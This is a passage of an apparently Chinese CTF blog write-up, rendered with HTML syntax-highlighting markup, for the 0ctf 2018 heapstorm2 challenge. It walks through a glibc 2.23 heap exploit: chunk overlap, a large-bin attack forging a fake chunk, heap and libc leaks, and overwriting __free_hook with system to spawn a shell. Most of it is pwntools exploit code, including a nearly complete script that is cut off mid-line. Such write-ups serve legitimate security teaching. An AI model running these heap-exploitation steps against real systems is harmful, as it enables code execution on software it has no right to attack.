punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4f1</span><span class="token punctuation">)</span> <span class="token comment"># size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk<span class="token punctuation">)</span> <span class="token comment"># bk</span>edit<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/images/851af66/18.png" alt="upload successful"></p><p>再一波伪造</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># modify fake chunk size</span>storage <span class="token operator">=</span> <span class="token number">0x13370000</span> <span class="token operator">+</span> <span class="token number">0x800</span>fake_chunk <span class="token operator">=</span> storage <span class="token operator">-</span> <span class="token number">0x20</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4f1</span><span class="token punctuation">)</span> <span class="token comment"># size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk<span class="token punctuation">)</span> <span class="token comment"># bk</span>edit<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4e1</span><span class="token punctuation">)</span> <span class="token comment"># size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># bk</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk<span class="token operator">-</span><span class="token number">0x18</span><span class="token operator">-</span><span class="token number">5</span><span class="token punctuation">)</span> <span class="token comment"># bk_nextsize</span>edit<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/851af66/19.png" alt="upload successful"></p><p>这里参考了文章，再malloc一下，将会出现unsorted bin中的chunk，扔进large bin的操作(有个检查)</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">try</span><span class="token punctuation">:</span>    add<span class="token punctuation">(</span><span class="token number">0x48</span><span class="token punctuation">)</span> <span class="token comment"># 2</span>    ru<span class="token punctuation">(</span><span class="token string">'1.'</span><span class="token punctuation">)</span><span class="token keyword">except</span> EOFError<span class="token punctuation">:</span>    <span class="token keyword">continue</span><span class="token keyword">break</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>copy一下关键源码</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">victim<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> fwd<span class="token punctuation">;</span>victim<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> fwd<span class="token operator">-></span>bk_nextsize<span class="token punctuation">;</span>fwd<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span>victim<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> victim<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>victim<span class="token operator">-></span>bk <span class="token operator">=</span> bck<span class="token punctuation">;</span>victim<span class="token operator">-></span>fd <span class="token operator">=</span> fwd<span class="token punctuation">;</span>fwd<span class="token operator">-></span>bk <span class="token operator">=</span> victim<span class="token punctuation">;</span>bck<span class="token operator">-></span>fd <span class="token operator">=</span> victim<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里的<code>vicitim</code>是unsorted bin中的chunk，是上图中的，<code>0xxx060</code>，而<code>fwd</code>是large bin中的chunk，为<code>0xxx5c0</code></p><p>这里<code>victim-&gt;bk_nextsize=fwd-&gt;bk_nextsize</code>使得<code>victim-&gt;bk_nextsize=0x133707c3</code>(0x133707c3就是前面的fake_chunk-0x18-5)</p><p>然后<code>victim-&gt;bk_nextsize-&gt;fd_nextsize=victim</code>，就是<code>*(0x133707c3+0x20)=*(0x133707e3)=0xxxx060</code></p><p>这样就修改成功了(开了ASLR后，就有可能是0x56xxxx060了)<br><img src="/images/851af66/20.png" alt="upload successful"></p><p>然后开头的这个<code>0x56</code>就在fake_chunk的size字段<br><img src="/images/851af66/21.png" alt="upload successful"></p><p>这个size要为0x56是要，满足一个检查，要开启chunk的mmap标志位置位。</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">assert</span> <span class="token punctuation">(</span><span class="token operator">!</span>mem <span class="token operator">||</span> <span class="token function">chunk_is_mmapped</span> <span class="token punctuation">(</span><span class="token function">mem2chunk</span> <span class="token punctuation">(</span>mem<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span>         av <span class="token operator">==</span> <span class="token function">arena_for_chunk</span> <span class="token punctuation">(</span><span class="token function">mem2chunk</span> <span class="token punctuation">(</span>mem<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>IS_MAPPED位在第二位：<br><img src="/images/851af66/23.png" alt="upload successful"></p><p>参考ctfwiki：<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/</a><br><img src="/images/851af66/22.png" alt="upload successful"></p><p>fake_chunk搞到了，就可以修改开头的随机数，来使用view了<br><img src="/images/851af66/24.png" alt="upload successful"></p><p>先让node0指向heap位置先，方便后面修改</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">3</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span>   <span class="token comment"># node0: ptr</span>edit<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/images/851af66/25.png" alt="upload successful"></p><p>之后就是leak出堆</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x133707e3</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span> heap <span class="token operator">=</span> u64<span class="token punctuation">(</span>show<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'heap'</span><span class="token punctuation">,</span> heap<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这个chunk(0xxxx060)，的fd字段就是main_arena<br><img src="/images/851af66/26.png" alt="upload successful"></p><p>可leak出main_arena来计算libc的基地址</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>heap<span class="token operator">+</span><span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>lbase <span class="token operator">=</span> u64<span class="token punctuation">(</span>show<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token number">0x7f4ef5812b78</span> <span class="token operator">-</span> <span class="token number">0x7f4ef544e000</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之后就改free_hook成system，然后getshell</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">__free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>system <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'__free_hook'</span><span class="token punctuation">,</span> __free_hook<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">,</span> system<span class="token punctuation">)</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>__free_hook<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token operator">+</span><span class="token number">0x50</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node2: ptr. size</span>pay <span class="token operator">+=</span> <span class="token string">'/bin/sh\x00'</span> <span class="token comment"># storage+0x50</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>system<span class="token punctuation">)</span><span class="token punctuation">)</span>free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>完整exp：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token comment">#!/usr/bin/python2</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./0ctf_2018_heapstorm2'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'0.0.0.0'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'../../libc/libc-2.23.so'</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token keyword">def</span> <span class="token function">add</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Command: '</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Size: '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">edit</span><span class="token punctuation">(</span>index<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Command: '</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Index: '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Size: '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    sa<span class="token punctuation">(</span><span class="token string">'Content: '</span><span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">free</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Command: '</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Index: '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">show</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">:</span>    sla<span class="token punctuation">(</span><span class="token string">'Command: '</span><span class="token punctuation">,</span> <span class="token string">'4'</span><span class="token punctuation">)</span>    sla<span class="token punctuation">(</span><span class="token string">'Index: '</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">)</span>    ru<span class="token punctuation">(</span><span class="token string">']: '</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> r<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    rs<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># rs('remote')</span>    <span class="token comment"># print(ctx.libc.path)</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 0</span>    add<span class="token punctuation">(</span><span class="token number">0x508</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 2</span>    <span class="token comment"># 待会mallc(0x18)的时候，会根据1找到下一个chunk的pre_size，与size相等才通过检查</span>    edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x4f0</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x500</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># next = chunk+size(改成0x500)</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 3</span>    add<span class="token punctuation">(</span><span class="token number">0x508</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 5</span>    edit<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'a'</span> <span class="token operator">*</span> <span class="token number">0x4f0</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x500</span><span class="token punctuation">)</span><span class="token punctuation">)</span>     add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 6</span>    free<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># chunk2 pre_size=0x510, inuse=0</span>    edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x18</span> <span class="token operator">-</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token comment"># chunk1 size=0x500</span>    <span class="token comment"># 一共0x500</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>    add<span class="token punctuation">(</span><span class="token number">0x4d8</span><span class="token punctuation">)</span> <span class="token comment"># 7</span>    <span class="token comment"># chunk1+chunk2合并，node7指向chunk1+0x20+0x10</span>    free<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    add<span class="token punctuation">(</span><span class="token number">0x38</span><span class="token punctuation">)</span> <span class="token comment"># 1</span>    add<span class="token punctuation">(</span><span class="token number">0x4e8</span><span class="token punctuation">)</span> <span class="token comment"># 2</span>    <span class="token comment"># 4和8重叠</span>    free<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>    edit<span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token string">'h'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x18</span> <span class="token operator">-</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    add<span class="token punctuation">(</span><span class="token number">0x18</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>    add<span class="token punctuation">(</span><span class="token number">0x4d8</span><span class="token punctuation">)</span> <span class="token comment"># 8</span>    free<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span>    free<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span>    add<span class="token punctuation">(</span><span class="token number">0x48</span><span class="token punctuation">)</span> <span class="token comment"># 4</span>    free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    add<span class="token punctuation">(</span><span class="token number">0x4e8</span><span class="token punctuation">)</span> <span class="token comment"># 2</span>    free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    <span class="token comment"># modify fake chunk size</span>    storage <span class="token operator">=</span> <span class="token number">0x13370000</span> <span class="token operator">+</span> <span class="token number">0x800</span>    fake_chunk <span class="token operator">=</span> storage <span class="token operator">-</span> <span class="token number">0x20</span>    pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4f1</span><span class="token punctuation">)</span> <span class="token comment"># size</span>    pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk<span class="token punctuation">)</span> <span class="token comment"># bk</span>    edit<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>    pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">4</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4e1</span><span class="token punctuation">)</span> <span class="token comment"># size</span>    pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># bk</span>    pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>fake_chunk<span class="token operator">-</span><span class="token number">0x18</span><span class="token operator">-</span><span class="token number">5</span><span class="token punctuation">)</span> <span class="token comment"># bk_nextsize</span>    edit<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>    <span class="token comment">#break</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        add<span class="token punctuation">(</span><span class="token number">0x48</span><span class="token punctuation">)</span> <span class="token comment"># 2</span>        ru<span class="token punctuation">(</span><span class="token string">'1.'</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> EOFError<span class="token punctuation">:</span>        <span class="token keyword">continue</span>    <span class="token keyword">break</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">3</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span>   <span class="token comment"># node0: ptr</span>edit<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span><span class="token comment"># leak heap</span><span class="token comment"># node1 ptr = 0x133707e3, *ptr=0xxxxx060 这是之前构造0x56size字段时弄的堆地址，可以leak出堆 </span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x133707e3</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span> heap <span class="token operator">=</span> u64<span class="token punctuation">(</span>show<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token 